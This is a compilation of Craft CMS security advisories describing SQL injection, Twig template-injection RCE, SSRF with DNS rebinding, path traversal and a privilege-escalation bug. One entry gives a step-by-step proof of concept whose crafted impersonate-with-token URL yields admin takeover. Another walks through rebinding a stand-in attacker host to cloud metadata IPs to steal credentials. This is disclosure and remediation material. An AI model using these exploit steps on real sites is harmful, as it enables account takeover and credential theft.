Craft is a platform for creating digital experiences. In versions 5.0.0-RC1 through 5.8.20 and 3.0.0 through 4.16.16, unauthenticated users can trigger database backup operations via specific admin actions, potentially leading to resource exhaustion or information disclosure. Users should update to the patched versions (5.8.21 and 4.16.17) to mitigate the issue. Craft 3 users should update to the latest Craft 4 and 5 releases, which include the fixes.

Craft is a platform for creating digital experiences. Versions 5.0.0-RC1 through 5.8.20 and 4.0.0-RC1 through 4.16.16 are vulnerable to potential authenticated Remote Code Execution via Twig SSTI. For this to work, users must have administrator access to the Craft Control Panel, and allowAdminChanges must be enabled, which is against Craft CMS' recommendations for any non-dev environment. Alternatively, a non-administrator account with allowAdminChanges disabled can be used, provided access to the System Messages utility is available. It is possible to craft a malicious payload using the Twig map filter in text fields that accept Twig input under Settings in the Craft control panel or using the System Messages utility, which could lead to a RCE. Users should update to the patched versions (5.8.21 and 4.16.17) to mitigate the issue.

Craft is a content management system (CMS). The ElementSearchController::actionSearch() endpoint is missing the unset() protection that was added to ElementIndexesController in CVE-2026-25495. The exact same SQL injection vulnerability (including criteria[orderBy], the original advisory vector) works on this controller because the fix was never applied to it. Any authenticated control panel user (no admin required) can inject arbitrary SQL via criteria[where], criteria[orderBy], or other query properties, and extract the full database contents via boolean-based blind injection. Users should update to the patched 5.9.9 release to mitigate the issue.

A Remote Code Execution vulnerability exists in the Craft CMS 5 conditions system.

The BaseElementSelectConditionRule::getElementIds() method passes user-controlled string input through renderObjectTemplate() -- an unsandboxed Twig rendering function with escaping disabled.

Any authenticated Control Panel user (including non-admin roles such as Author or Editor) can achieve full RCE by sending a crafted condition rule via standard element listing endpoints.

This vulnerability requires no admin privileges, no special permissions beyond basic control panel access, and bypasses all production hardening settings (allowAdminChanges: false, devMode: false, enableTwigSandbox: true).

Users should update to the patched 5.99 release to mitigate the issue.

Craft is a platform for creating digital experiences. Versions 5.0.0-RC1 through 5.8.20 and 4.0.0-RC1 through 4.16.16 are vulnerable to potential authenticated Remote Code Execution via malicious attached Behavior. Note that attackers must have administrator access to the Craft Control Panel for this to work. Users should update to the patched versions (5.8.21 and 4.16.17) to mitigate the issue.

Craft CMS is a content management system (CMS). From version 4.0.0-RC1 to before version 4.17.5 and from version 5.0.0-RC1 to before version 5.9.11, there is a Behavior injection RCE vulnerability in ElementIndexesController and FieldsController. Craft control panel administrator permissions and allowAdminChanges must be enabled for this to work. This issue has been patched in versions 4.17.5 and 5.9.11.

Summary A low-privilege user (or an unauthenticated user who has been sent a shared URL) can escalate their privileges to admin by abusing UsersController->actionImpersonateWithToken.

Affected users should update to Craft 4.17.6 and 5.9.12 to mitigate the issue.

Details This vulnerability allows any low-privilege user to escalate their privileges and become an admin, or, in extreme circumstances, unprivileged users to do the same.

Therefore, this vulnerability affects Craft Pro and Team more than Craft Solo.

Specifically, an attacker who possesses a valid “preview token” can then append &action=users/impersonate-with-token&userId=1&prevUserId=1 to the preview URL to hijack the request into the impersonation endpoint, logging in as any user (including admin) without authentication. Getting the preview token is easy, and all an editor would have to do is create a single article, click “Preview”, and then recover this token.

Here’s what happens:

1. The action re-dispatch in actionPreview() passes $skipSpecialHandling=true to handleRequest(), bypassing all security guards, and passes $checkToken=false to checkIfActionRequest(), which allows an attacker-controlled action query parameter to override the dispatch target. 2. The requireToken() guard on actionImpersonateWithToken() only checks a boolean (hadToken) that was set when the preview token was initially resolved. It does not verify that the token was intended for the impersonation action, and so any valid token from any route satisfies the check. 3. actionImpersonateWithToken is listed in $allowAnonymous and performs no authorization beyond requireToken(), so no prior authentication is required.

PoC

The PoC achieves full admin takeover on the latest Craft CMS 5.9.10. Spawn a local version of Craft. Then, you’ll want to log in and create a valid setup:

1. Log in at http://host:18895/admin 2. Go to Settings,  Sections, New Section (name: "Blog", type: "Channel") 3. Under Site Settings, set URI Format to blog/{slug} 4. Then go to Entries, New Entry, Blog, and give it any title

Next, obtain a preview token

1. Open the saved entry in the editor 2. Click the Preview button 3. A preview pane opens with the entry rendered in an iframe 4. Right-click inside the preview pane and Inspect Element 5. Find the <iframe> element; its src contains the tokenized URL: http://host:18895/blog/title?x-craft-live-preview=...&token=XXXXXXXX 6. Copy the token= value

Finally, execute the exploit:

1. Open a new incognito/private browser window   2. Navigate to: http://host:18895/?token=XXXXXXXX&action=users/impersonate-with-token&userId=1&prevUserId=1   3. You may see a 404. This is expected.

To verify the exploit, in the same incognito tab, navigate to http://host:18895/admin. You should land on the admin dashboard, logged in as admin, without ever entering credentials.

Impact

Privilege escalation; everyone is impacted.

Summary

The SSRF validation in Craft CMS’s GraphQL Asset mutation performs DNS resolution separately from the HTTP request. This Time-of-Check-Time-of-Use (TOCTOU) vulnerability enables DNS rebinding attacks, where an attacker’s DNS server returns different IP addresses for validation compared to the actual request.

This is a bypass of the security fix for CVE-2025-68437 (GHSA-x27p-wfqw-hfcc) that allows access to all blocked IPs, not just IPv6 endpoints.

Severity

Bypass of cloud metadata SSRF protection for all blocked IPs

Required Permissions

Exploitation requires GraphQL schema permissions for: - Edit assets in the <VolumeName> volume - Create assets in the <VolumeName> volume

These permissions may be granted to: - Authenticated users with appropriate GraphQL schema access - Public Schema (if misconfigured with write permissions)

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Technical Details

Vulnerable Code Flow

The code at src/gql/resolvers/mutations/Asset.php performs two separate DNS lookups:

php // VALIDATION PHASE: First DNS resolution at time T1 private function validateHostname(string $url): bool { $hostname = parseurl($url, PHPURLHOST); $ip = gethostbyname($hostname); // DNS Lookup #1 - Returns safe IP

if (inarray($ip, [ '169.254.169.254', // AWS, GCP, Azure IMDS '169.254.170.2', // AWS ECS metadata '100.100.100.200', // Alibaba Cloud '192.0.0.192', // Oracle Cloud ])) { return false; // Check passes - IP looks safe } return true; }

// ... time gap between validation and request ...

// REQUEST PHASE: Second DNS resolution at time T2 (inside Guzzle) $response = $client->get($url); // DNS Lookup #2 - Guzzle resolves DNS AGAIN // Now returns 169.254.169.254!

Root Cause

Two separate DNS lookups occur: 1. Validation: gethostbyname() in validateHostname() 2. Request: Guzzle's internal DNS resolution via libcurl

An attacker controlling a DNS server can return different IPs for each query.

Bypass Mechanism

+-----------------------------------------------------------------------------+ | Attacker's DNS Server: evil.attacker.com | +-----------------------------------------------------------------------------+ | Query 1 (Validation - T1): | | Request: A record for evil.attacker.com | | Response: 1.2.3.4 (safe IP, TTL: 0) | | Result: Validation PASSES | +-----------------------------------------------------------------------------+ | Query 2 (Guzzle Request - T2): | | Request: A record for evil.attacker.com | | Response: 169.254.169.254 (metadata IP, TTL: 0) | | Result: Request goes to blocked IP -> CREDENTIALS STOLEN | +-----------------------------------------------------------------------------+

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Target Endpoints via DNS Rebinding

DNS rebinding allows access to all blocked IPs:

| Target | Rebind To | Impact | |--------|-----------|--------| | AWS IMDS | 169.254.169.254 | IAM credentials, instance identity | | AWS ECS | 169.254.170.2 | Container credentials | | GCP Metadata | 169.254.169.254 | Service account tokens | | Azure Metadata | 169.254.169.254 | Managed identity tokens | | Alibaba Cloud | 100.100.100.200 | Instance credentials | | Oracle Cloud | 192.0.0.192 | Instance metadata | | Internal Services | 127.0.0.1, 10.x.x.x | Internal APIs, databases |

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Attack Scenario

1. Attacker sets up DNS server with alternating responses 2. Attacker sends mutation with url: "http://evil.attacker.com/latest/meta-data/" 3. First DNS query returns safe IP (e.g., 1.2.3.4) → validation passes 4. Second DNS query returns metadata IP (169.254.169.254) → request to metadata 5. Attacker retrieves credentials from ANY cloud provider 6. Attacker can now achieve code execution by creating new instances with their SSH key

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Remediation

Fix: DNS Pinning with CURLOPTRESOLVE

Pin the DNS resolution - use the same resolved IP for both validation and request:

php private function validateHostname(string $url): bool { $hostname = parseurl($url, PHPURLHOST);

// Resolve once $ip = gethostbyname($hostname);

// Validate the resolved IP if (inarray($ip, [ '169.254.169.254', '169.254.170.2', '100.100.100.200', '192.0.0.192', ])) { return false; }

// Store for later use $this->pinnedDNS[$hostname] = $ip;

return true; }

// When making the request - CRITICAL: Use pinned IP protected function makeRequest(string $url): ResponseInterface { $hostname = parseurl($url, PHPURLHOST); $ip = $this->pinnedDNS[$hostname] ?? null;

$options = []; if ($ip) { // Force Guzzle/curl to use the SAME IP we validated $options['curl'] = [ CURLOPTRESOLVE => [ "$hostname:80:$ip", "$hostname:443:$ip" ] ]; }

return $this->client->get($url, $options); }

Alternative: Single Resolution with Immediate Use

php // Resolve to IP and use IP directly in URL $ip = gethostbyname($hostname);

if (inarray($ip, $blockedIPs)) { return false; }

// Make request directly to IP with Host header $client->get("http://$ip" . parseurl($url, PHPURLPATH), [ 'headers' => [ 'Host' => $hostname ] ]);

Additional Mitigations

| Mitigation | Description | |------------|-------------| | DNS Pinning (CURLOPTRESOLVE) | Force same IP for validation and request | | Single IP-based request | Use resolved IP directly in URL | | Implement IMDSv2 | Requires token header (infrastructure-level) | | Network egress filtering | Block metadata IPs at network level |

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Resources

- https://github.com/craftcms/cms/commit/a4cf3fb63bba3249cf1e2882b18a2d29e77a8575 - GHSA-x27p-wfqw-hfcc - Original SSRF vulnerability (CVE-2025-68437) - DNSrebinder - Lightweight Python DNS server for testing DNS rebinding vulnerabilities; responds with legitimate IP for first N queries, then rebinds to target IP - Singularity DNS Rebinding Tool - rbndr DNS Rebinding Service - DNS Rebinding Attacks Explained - CURLOPTRESOLVE Documentation - OWASP SSRF Prevention Cheat Sheet

Craft is a platform for creating digital experiences. In versions 5.0.0-RC1 through 5.8.20 and 4.0.0-RC1 through 4.16.16, the Craft CMS GraphQL save<VolumeName>Asset mutation is vulnerable to Server-Side Request Forgery (SSRF). This vulnerability arises because the file input, specifically its url parameter, allows the server to fetch content from arbitrary remote locations without proper validation. Attackers can exploit this by providing internal IP addresses or cloud metadata endpoints as the url, forcing the server to make requests to these restricted services. The fetched content is then saved as an asset, which can subsequently be accessed and exfiltrated, leading to potential data exposure and infrastructure compromise. This exploitation requires specific GraphQL permissions for asset management within the targeted volume. Users should update to the patched 5.8.21 and 4.16.17 releases to mitigate the issue.

Authenticated users on a Craft installation could potentially expose sensitive assets via their user profile photo via maliciously crafted requests.

Users should update to the patched versions (5.8.21 and 4.16.17) to mitigate the issue.

Resources:

https://github.com/craftcms/cms/commit/4bcb0db554e273b66ce3b75263a13414c2368fc9

https://github.com/craftcms/cms/commit/4bcb0db554e273b66ce3b75263a13414c2368fc9

Craft is a content management system (CMS). In versions 4.5.0-RC1 through 4.16.18 and 5.0.0-RC1 through 5.8.22, the SSRF validation in Craft CMS’s GraphQL Asset mutation uses gethostbyname(), which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection. This is a bypass of the security fix for CVE-2025-68437. Exploitation requires GraphQL schema permissions for editing assets in the <VolumeName> volume and creating assets in the <VolumeName> volume. These permissions may be granted to authenticated users with appropriate GraphQL schema access and/or Public Schema (if misconfigured with write permissions). Versions 4.16.19 and 5.8.23 patch the issue.

Craft CMS is a content management system (CMS). From version 4.0.0-RC1 to before version 4.17.5 and from version 5.0.0-RC1 to before version 5.9.11, the AssetsController->replaceFile() method has a targetFilename body parameter that is used unsanitized in a deleteFile() call before Assets::prepareAssetName() is applied on save. This allows an authenticated user with replaceFiles permission to delete arbitrary files within the same filesystem root by injecting ../ path traversal sequences into the filename. This could allow an authenticated user with replaceFiles permission on one volume to delete files in other folders/volumes that share the same filesystem root. This only affects local filesystems. This issue has been patched in versions 4.17.5 and 5.9.11.